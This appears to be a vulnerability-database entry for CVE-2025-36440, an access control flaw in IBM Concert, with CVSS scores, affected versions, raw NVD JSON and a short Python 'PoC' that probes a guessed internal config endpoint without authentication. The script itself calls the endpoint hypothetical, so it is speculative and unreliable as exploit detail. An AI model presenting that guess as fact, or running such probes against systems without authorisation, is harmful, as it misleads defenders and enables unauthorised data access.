Security Vulnerability Report
中文
CVE-2025-36440 CVSS 5.1 MEDIUM

CVE-2025-36440

Published: 2026-03-25 21:16:25
Last Modified: 2026-03-26 17:52:14

Description

IBM Concert 1.0.0 through 2.2.0 could allow a local user to obtain sensitive information due to missing function level access control.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:* - VULNERABLE
IBM Concert 1.0.0 - 2.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2025-36440: IBM Concert Missing Function Level Access Control # This script demonstrates accessing a sensitive endpoint without authentication. def check_vulnerability(target_url): # Example endpoint (hypothetical based on vulnerability type) endpoint = "/api/v1/internal/config" full_url = f"{target_url}{endpoint}" try: # Send request without authentication headers response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed! Sensitive data retrieved.") print(f"[+] Data: {response.text[:100]}...") return True else: print("[-] Access denied or endpoint not found.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": # Replace with the actual local address of the IBM Concert instance target = "http://localhost:8080" check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36440", "sourceIdentifier": "[email protected]", "published": "2026-03-25T21:16:25.463", "lastModified": "2026-03-26T17:52:14.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.2.0 could allow a local user to obtain sensitive information due to missing function level access control."}, {"lang": "es", "value": "IBM Concert 1.0.0 hasta 2.2.0 podría permitir a un usuario local obtener información sensible debido a la falta de control de acceso a nivel de función."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndIncluding": "2.2.0", "matchCriteriaId": "2E37B307-BAA4-487B-958B-7354E39D7B2A"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7267105", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}